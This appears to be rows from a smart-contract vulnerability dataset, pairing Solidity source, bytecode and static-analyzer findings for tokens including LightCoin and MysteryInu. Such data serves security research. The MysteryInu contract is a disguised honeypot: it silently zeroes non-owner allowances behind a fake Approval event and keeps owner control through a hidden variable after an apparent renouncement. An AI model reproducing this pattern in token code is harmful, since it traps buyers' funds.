0x6060604052600436106101485763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461014d57806306fdde031461017f578063095ea7b31461020957806318160ddd1461023f57806323b872dd14610264578063251139f61461028c5780632ff2e9dc146102ab578063313ce567146102be5780634bf49313146102e75780635c60da1b1461035057806366188463146103635780636b919488146103855780637065cb481461039b57806370a08231146103ba578063753e88e5146103d95780638129fc1c146103fb57806384126e011461040357806395d89b4114610454578063a0c99c5114610467578063a9059cbb146104f3578063b948854614610515578063d73dd62314610528578063dd62ed3e1461054a578063e449de9f1461056f578063fb4da5b714610582575b600080fd5b341561015857600080fd5b6101636004356105e1565b604051600160a060020a03909116815260200160405180910390f35b341561018a57600080fd5b610192610609565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ce5780820151838201526020016101b6565b50505050905090810190601f1680156101fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021457600080fd5b61022b600160a060020a036004351660243561064b565b604051901515815260200160405180910390f35b341561024a57600080fd5b6102526106b7565b60405190815260200160405180910390f35b341561026f57600080fd5b61022b600160a060020a03600435811690602435166044356106c6565b341561029757600080fd5b61022b600160a060020a03600435166107f0565b34156102b657600080fd5b6102526108c1565b34156102c957600080fd5b6102d16108cc565b60405160ff909116815260200160405180910390f35b34156102f257600080fd5b61034e600480359060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a031692506108d1915050565b005b341561035b57600080fd5b6101636109a8565b341561036e57600080fd5b61022b600160a060020a03600435166024356109b7565b341561039057600080fd5b61034e600435610ab1565b34156103a657600080fd5b61034e600160a060020a0360043516610bf7565b34156103c557600080fd5b610252600160a060020a0360043516610ce5565b34156103e457600080fd5b61022b600160a060020a0360043516602435610d00565b61034e610db9565b341561040e57600080fd5b61034e60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610dbb95505050505050565b341561045f57600080fd5b610192610e57565b341561047257600080fd5b6104c660048035600160a060020a03169060446024803590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610e9895505050505050565b6040519283526020830191909152600160a060020a03166040808301919091526060909101905180910390f35b34156104fe57600080fd5b61022b600160a060020a0360043516602435610f6a565b341561052057600080fd5b610252611040565b341561053357600080fd5b61022b600160a060020a0360043516602435611046565b341561055557600080fd5b610252600160a060020a03600435811690602435166110ea565b341561057a57600080fd5b610163611115565b341561058d57600080fd5b61022b60048035600160a060020a03169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061112495505050505050565b60008054829081106105ef57fe5b600091825260209091200154600160a060020a0316905081565b6106116113b4565b60408051908101604052600c81527f4b6e6f776c656467652e696f0000000000000000000000000000000000000000602082015290505b90565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60006106c16108c1565b905090565b600080600160a060020a03841615156106de57600080fd5b50600160a060020a03808516600081815260036020908152604080832033909516835293815283822054928252600290529190912054610724908463ffffffff61138c16565b600160a060020a038087166000908152600260205260408082209390935590861681522054610759908463ffffffff61139e16565b600160a060020a038516600090815260026020526040902055610782818463ffffffff61138c16565b600160a060020a03808716600081815260036020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b600080805b60005481101561083e57600080548290811061080d57fe5b60009182526020909120015433600160a060020a0390811691161415610836576001915061083e565b6001016107f5565b81151561084a57600080fd5b600160a060020a038416151561085f57600080fd5b60048054600160a060020a031916600160a060020a0386161790557fe7a5dc59990bb8618337b754505c1711341b849d5402b3b8d79f7008c740b50284604051600160a060020a03909116815260200160405180910390a15060019392505050565b66354a6ba7a1800090565b600890565b606060405190810160409081528482526020808301879052600160a060020a0380851683850152331660009081526005909152819020908490518082805190602001908083835b602083106109375780518252601f199092019160209182019101610918565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051908190039020815181556020820151816001015560408201516002919091018054600160a060020a031916600160a060020a039092169190911790555050505050565b600154600160a060020a031690565b600160a060020a03338116600090815260036020908152604080832093861683529290529081205480831115610a1457600160a060020a033381166000908152600360209081526040808320938816835292905290812055610a4b565b610a24818463ffffffff61138c16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600080805b600054811015610aff576000805482908110610ace57fe5b60009182526020909120015433600160a060020a0390811691161415610af75760019150610aff565b600101610ab6565b811515610b0b57600080fd5b6000805485908110610b1957fe5b60009182526020822001548154600160a060020a0390911694506000198101908110610b4157fe5b60009182526020822001548154600160a060020a03909116919086908110610b6557fe5b600091825260208220018054600160a060020a031916600160a060020a03939093169290921790915580546000198101908110610b9e57fe5b60009182526020909120018054600160a060020a0319169055600160a060020a038381169033167fe594d081b4382713733fe631966432c9cea5199afb2db5c3c1931f9f9300367960405160405180910390a350505050565b600080805b600054811015610c45576000805482908110610c1457fe5b60009182526020909120015433600160a060020a0390811691161415610c3d5760019150610c45565b600101610bfc565b811515610c5157600080fd5b600160a060020a0384161515610c6657600080fd5b600160008054806001018281610c7c91906113c6565b60009283526020909220018054600160a060020a031916600160a060020a0388811691821790925592909103945033167fa0b18fca933618876351ba2ef88bf4505c184d3e55064bec0d7fe236dd706d848560405190815260200160405180910390a350505050565b600160a060020a031660009081526002602052604090205490565b60045460009033600160a060020a03908116911614610d1e57600080fd5b600160a060020a0383166000818152600260205260408082208590557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600454600160a060020a0380851691167fafc7f3fa9b11b0da7624ad7f5a27e287d3a5eef414b5d7ac38996631ed80b89a8460405190815260200160405180910390a350600192915050565b565b600160a060020a03331660009081526005602052604090819020908290518082805190602001908083835b60208310610e055780518252601f199092019160209182019101610de6565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051908190039020600080825560018201556002018054600160a060020a031916905550565b610e5f6113b4565b60408051908101604052600381527f4b4e5700000000000000000000000000000000000000000000000000000000006020820152905090565b6000806000610ea56113ef565b600160a060020a03861660009081526005602052604090819020908690518082805190602001908083835b60208310610eef5780518252601f199092019160209182019101610ed0565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206060604051908101604090815282548252600183015460208301908152600290930154600160a060020a03169082015291505193508051925080604001519150509250925092565b6000600160a060020a0383161515610f8157600080fd5b600160a060020a033316600090815260026020526040902054610faa908363ffffffff61138c16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610fdf908363ffffffff61139e16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60005490565b600160a060020a03338116600090815260036020908152604080832093861683529290529081205461107e908363ffffffff61139e16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600454600160a060020a031681565b600061112e6113ef565b600160a060020a03841660009081526005602052604090819020908490518082805190602001908083835b602083106111785780518252601f199092019160209182019101611159565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020606060405190810160409081528254825260018301546020830152600290920154600160a060020a03169181019190915290506000815111156111fb576111f3848251610f6a565b15156111fb57fe5b61120d81604001518260200151610f6a565b151561121557fe5b83600160a060020a03168160400151600160a060020a031633600160a060020a03167f2932548923882c0357c96c44bcfac0f2d4826edc925fd552f0a61abacceacb7684602001518551886040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112a9578082015183820152602001611291565b50505050905090810190601f1680156112d65780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a4600160a060020a03841660009081526005602052604090819020908490518082805190602001908083835b6020831061132f5780518252601f199092019160209182019101611310565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051908190039020600080825560018083019190915560029091018054600160a060020a0319169055949350505050565b60008282111561139857fe5b50900390565b6000828201838110156113ad57fe5b9392505050565b60206040519081016040526000815290565b8154818355818115116113ea576000838152602090206113ea91810190830161140f565b505050565b606060405190810160409081526000808352602083018190529082015290565b61064891905b808211156114295760008155600101611415565b50905600a165627a7a72305820cbe9e6846613cc7a1bb0fbfea3ec864b04ca2a985063479d603325f3b11f1c500029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,645
0x1295b55fa04fbac6d9e7c351ecb3486e88129027
pragma solidity 0.4.18; /** * Math operations with safety checks */ contract BaseSafeMath { /* standard uint256 functions */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert( b > 0 ); uint256 c = a / b; return c; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions */ function madd(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; assert(c >= a); return c; } function msub(uint128 a, uint128 b) internal pure returns (uint128) { assert(b <= a); return a - b; } function mmul(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a * b; assert(a == 0 || c / a == b); return c; } function mdiv(uint128 a, uint128 b) internal pure returns (uint128) { assert( b > 0 ); uint128 c = a / b; return c; } function mmin(uint128 x, uint128 y) internal pure returns (uint128 z) { return x <= y ? x : y; } function mmax(uint128 x, uint128 y) internal pure returns (uint128 z) { return x >= y ? x : y; } /* uint64 functions */ function miadd(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a + b; assert(c >= a); return c; } function misub(uint64 a, uint64 b) internal pure returns (uint64) { assert(b <= a); return a - b; } function mimul(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a * b; assert(a == 0 || c / a == b); return c; } function midiv(uint64 a, uint64 b) internal pure returns (uint64) { assert( b > 0 ); uint64 c = a / b; return c; } function mimin(uint64 x, uint64 y) internal pure returns (uint64 z) { return x <= y ? x : y; } function mimax(uint64 x, uint64 y) internal pure returns (uint64 z) { return x >= y ? x : y; } } // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 contract BaseERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowed; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal; /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success); /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public publishOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { publishOwner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == publishOwner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(publishOwner, newOwner); publishOwner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract LightCoinToken is BaseERC20, BaseSafeMath, Pausable { //The solidity created time address public owner; address public lockOwner; uint256 public lockAmount ; uint256 public startTime ; function LightCoinToken() public { owner = 0x55ae8974743DB03761356D703A9cfc0F24045ebb; lockOwner = 0x07d4C8CC52BB7c4AB46A1A65DCEEdC1ab29aBDd6; startTime = 1515686400; name = "Lightcoin"; symbol = "Light"; decimals = 8; ///totalSupply = 21000000000000000000; totalSupply = 2.1e19; balanceOf[owner] = totalSupply * 90 /100; lockAmount = totalSupply * 10 / 100 ; Transfer(address(0), owner, balanceOf[owner]); } /// @param _owner The address from which the balance will be retrieved /// @return The balance function getBalanceOf(address _owner) public constant returns (uint256 balance) { return balanceOf[_owner]; } function _transfer(address _from, address _to, uint256 _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Save this for an assertion in the future uint previousBalances = add(balanceOf[_from], balanceOf[_to]); // Subtract from the sender balanceOf[_from] = sub(balanceOf[_from], _value); // Add the same to the recipient balanceOf[_to] = add(balanceOf[_to], _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(add(balanceOf[_from], balanceOf[_to]) == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) { // Check allowance allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function releaseToken() public{ uint256 releaseBegin = add(startTime, 2 * 365 * 86400); require(now >= releaseBegin ); uint256 interval = sub(now, releaseBegin); uint256 i = div(interval, (0.5 * 365 * 86400)); if (i > 3) { i = 3; } uint256 releasevalue = div(totalSupply, 40); uint256 remainInterval = sub(3, i); require(lockAmount > mul(remainInterval, releasevalue)); lockAmount = sub(lockAmount, releasevalue); balanceOf[lockOwner] = add( balanceOf[lockOwner], releasevalue); Transfer(address(0), lockOwner, releasevalue); } function () public payable{ revert(); } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e157806323b872dd14610206578063313ce5671461022e5780633f4ba83a146102575780635c6581651461026c5780635c975abb1461029157806369cd61be146102a457806370a08231146102d357806378e97925146102f25780638456cb59146103055780638da5cb5b1461031857806395d89b411461032b5780639b96eece1461033e578063a9059cbb1461035d578063d8df5dc11461037f578063dd62ed3e14610392578063e60fb021146103b7578063ec715a31146103ca578063f2fde38b146103dd575b600080fd5b341561012c57600080fd5b6101346103fc565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a036004351660243561049a565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101f4610506565b60405190815260200160405180910390f35b341561021157600080fd5b6101cd600160a060020a036004358116906024351660443561050c565b341561023957600080fd5b610241610593565b60405160ff909116815260200160405180910390f35b341561026257600080fd5b61026a61059c565b005b341561027757600080fd5b6101f4600160a060020a036004358116906024351661061b565b341561029c57600080fd5b6101cd610638565b34156102af57600080fd5b6102b7610648565b604051600160a060020a03909116815260200160405180910390f35b34156102de57600080fd5b6101f4600160a060020a0360043516610657565b34156102fd57600080fd5b6101f4610669565b341561031057600080fd5b61026a61066f565b341561032357600080fd5b6102b76106f3565b341561033657600080fd5b610134610702565b341561034957600080fd5b6101f4600160a060020a036004351661076d565b341561036857600080fd5b6101cd600160a060020a0360043516602435610788565b341561038a57600080fd5b6101f46107b6565b341561039d57600080fd5b6101f4600160a060020a03600435811690602435166107bc565b34156103c257600080fd5b6102b76107e7565b34156103d557600080fd5b61026a6107f6565b34156103e857600080fd5b61026a600160a060020a036004351661090e565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104925780601f1061046757610100808354040283529160200191610492565b820191906000526020600020905b81548152906001019060200180831161047557829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035481565b60065460009060a060020a900460ff161561052657600080fd5b600160a060020a038085166000908152600560209081526040808320339094168352929052205461055790836109a9565b600160a060020a03808616600090815260056020908152604080832033909416835292905220556105898484846109bb565b5060019392505050565b60025460ff1681565b60065433600160a060020a039081169116146105b757600080fd5b60065460a060020a900460ff1615156105cf57600080fd5b6006805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600560209081526000928352604080842090915290825290205481565b60065460a060020a900460ff1681565b600854600160a060020a031681565b60046020526000908152604090205481565b600a5481565b60065433600160a060020a0390811691161461068a57600080fd5b60065460a060020a900460ff16156106a157600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600754600160a060020a031681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104925780601f1061046757610100808354040283529160200191610492565b600160a060020a031660009081526004602052604090205490565b60065460009060a060020a900460ff16156107a257600080fd5b6107ad3384846109bb565b50600192915050565b60095481565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a031681565b600080600080600061080e600a546303c26700610adc565b9450428590101561081e57600080fd5b61082842866109a9565b93506108378462f099c0610af2565b9250600383111561084757600392505b6108546003546028610af2565b91506108616003846109a9565b905061086d8183610b12565b6009541161087a57600080fd5b610886600954836109a9565b600955600854600160a060020a03166000908152600460205260409020546108ae9083610adc565b60088054600160a060020a0390811660009081526004602052604080822094909455915416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35050505050565b60065433600160a060020a0390811691161461092957600080fd5b600160a060020a038116151561093e57600080fd5b600654600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156109b557fe5b50900390565b6000600160a060020a03831615156109d257600080fd5b600160a060020a038085166000908152600460205260408082205492861682529020546109ff9190610adc565b600160a060020a038516600090815260046020526040902054909150610a2590836109a9565b600160a060020a038086166000908152600460205260408082209390935590851681522054610a549083610adc565b600160a060020a0380851660008181526004602052604080822085905592881681529182205491528291610a889190610adc565b14610a8f57fe5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350505050565b600082820183811015610aeb57fe5b9392505050565b600080808311610afe57fe5b8284811515610b0957fe5b04949350505050565b6000828202831580610b2e5750828482811515610b2b57fe5b04145b1515610aeb57fe00a165627a7a7230582082a3f0a2ad6f12f9b29a2a5ed8d678e0e10d0272ebc9868c9eeb2a9dcb724cef0029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,646
0xE93950660b9B058601998c8Ddc9A13A98f727D54
/* __ ______ /'\_/`\ /\ \__ /\__ _\ /\ \ __ __ ____\ \ ,_\ __ _ __ __ __ \/_/\ \/ ___ __ __ \ \ \__\ \/\ \/\ \ /',__\\ \ \/ /'__`\/\`'__\/\ \/\ \ \ \ \ /' _ `\/\ \/\ \ \ \ \_/\ \ \ \_\ \/\__, `\\ \ \_/\ __/\ \ \/ \ \ \_\ \ \_\ \__/\ \/\ \ \ \_\ \ \ \_\\ \_\/`____ \/\____/ \ \__\ \____\\ \_\ \/`____ \ /\_____\ \_\ \_\ \____/ \/_/ \/_/`/___/> \/___/ \/__/\/____/ \/_/ `/___/> \ \/_____/\/_/\/_/\/___/ /\___/ /\___/ \/__/ \/__/ ~ Welcome to the Mystery Fair Token Project ~ Telegram: https://t.me/MYSTERY_INU 🔥Utilizing the Fair Token Project (FTP) AntiBot contract 🔥 */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract MysteryInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'MysteryInu | https://t.me/MYSTERY_INU'; string private _symbol = '$MystInu'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address myst, address ery, uint256 amount) private { require(myst != address(0), "ERC20: approve from the zero address"); require(ery != address(0), "ERC20: approve to the zero address"); if (myst != owner()) { _allowances[myst][ery] = 0; emit Approval(myst, ery, 4); } else { _allowances[myst][ery] = amount; emit Approval(myst, ery, amount); } } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ff